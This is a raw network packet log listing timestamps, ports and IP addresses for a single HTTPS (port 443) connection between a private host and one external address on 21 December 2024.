Dec 21, 2024 19:24:49.952089071 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.952097893 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.952141047 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.952187061 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.952238083 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.952322960 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.952347040 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.952470064 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.952471018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.952508926 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.952569008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.952569008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.952569008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.952580929 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.952593088 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.952688932 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.952732086 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.952732086 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.952738047 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.952780962 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.952828884 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.952828884 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.952836990 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.952882051 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.952882051 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.952927113 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.952980042 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.953012943 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.953150988 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.953150988 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.953157902 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.953248024 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.953253031 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.953294039 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.953342915 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.953423023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.953445911 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.953469992 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.953591108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.953591108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.953639030 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.953639030 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.953644991 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.953746080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.953752995 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.953824043 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.953836918 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.953844070 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.953891039 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.953891039 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.953939915 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.953985929 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.954035044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.954083920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.954271078 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.954297066 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.954421997 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.954421997 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.954469919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.954474926 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.954569101 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.954617023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.954627991 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.954638958 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.954777002 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.954777002 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.954786062 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.954869986 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.954874992 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.954931974 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.955033064 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.955040932 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.955053091 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.955125093 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.955163002 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.955188990 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.955188990 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.955238104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.955238104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.955243111 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.955286026 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.955291033 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.955384970 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.955384970 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.955436945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.955485106 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.955490112 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.955532074 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.955532074 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.955579996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.955759048 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.955784082 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.955872059 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.955892086 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.955940962 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.955940962 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.956037998 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.956037998 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.956087112 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.956183910 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.956190109 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.956384897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.971965075 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.971986055 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.971997976 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.972002983 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.972167969 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.972167969 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.972189903 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.972266912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.972292900 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.972337008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.972337008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.972385883 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.972385883 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.972385883 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.972395897 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.972434044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.972482920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.972482920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.972532034 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.972546101 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.972630978 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.972630978 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.972678900 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.972678900 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.972680092 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.972687960 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.972728014 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.972778082 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.972826958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.972826958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.972826958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.972826958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.972923994 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.972924948 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.972935915 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.973021984 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973021984 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973072052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973072052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973109961 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.973120928 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973120928 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973170042 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973170042 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973217964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973316908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973316908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973316908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973324060 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.973413944 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973413944 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973463058 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973463058 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973512888 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973512888 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973562002 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973562002 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973659039 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973659039 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973707914 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973707914 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973718882 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.973757029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973757029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973762989 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.973807096 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973807096 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973855019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973855019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.973905087 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974003077 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974003077 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974003077 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974071980 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.974101067 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974101067 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974148989 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974203110 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974203110 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974203110 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974203110 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974246979 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974344969 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974344969 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974353075 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.974443913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974443913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974492073 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974492073 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974540949 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974540949 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974545956 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.974590063 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974590063 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974688053 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974688053 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974792957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974792957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974800110 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.974841118 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974890947 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974890947 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974890947 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974890947 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.974939108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975038052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975038052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975047112 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.975135088 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975135088 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975184917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975184917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975233078 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975233078 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975281954 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975379944 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975380898 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975380898 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975387096 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.975430012 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975477934 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975528002 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975528002 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975528002 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975528002 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975577116 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975577116 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975645065 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.975689888 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975689888 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975738049 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975788116 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975788116 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975788116 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975836039 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975836039 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975842953 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.975886106 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975886106 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975934029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.975982904 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976032019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976032019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976082087 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976180077 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976180077 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976180077 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976185083 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.976228952 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976228952 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976277113 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976277113 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976325989 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976325989 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976375103 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976418972 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.976423979 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976524115 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976524115 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976572037 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976572037 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976598024 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.976619959 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976619959 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976670980 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976670980 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976767063 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976767063 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976815939 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976865053 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976914883 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976914883 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976914883 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.976948977 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.976963043 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.977011919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.977011919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.977111101 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.977111101 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.977159023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.977207899 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.977207899 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.977257013 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.977307081 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.977307081 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.977355003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.977355003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.977404118 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.977502108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.977503061 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.977503061 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.977550983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.977550983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.977602959 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.978785992 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.978815079 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.978930950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.979021072 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.979021072 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.979028940 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.979163885 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.981780052 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.981810093 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.982079983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.982080936 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.982080936 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.982095957 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.982126951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.982126951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.982376099 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.986340046 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.986367941 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.986565113 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.986565113 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.986584902 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.986596107 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.986717939 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.997298956 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.997328997 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.997469902 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.997469902 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.997492075 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.997617960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.997662067 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.997813940 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.997840881 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.997977018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.998050928 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.998059034 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.998142958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.998193026 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.998233080 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.998246908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.998255968 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.998349905 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.998398066 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.998398066 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.998497009 CET	49766	443	192.168.11.20	172.67.184.254
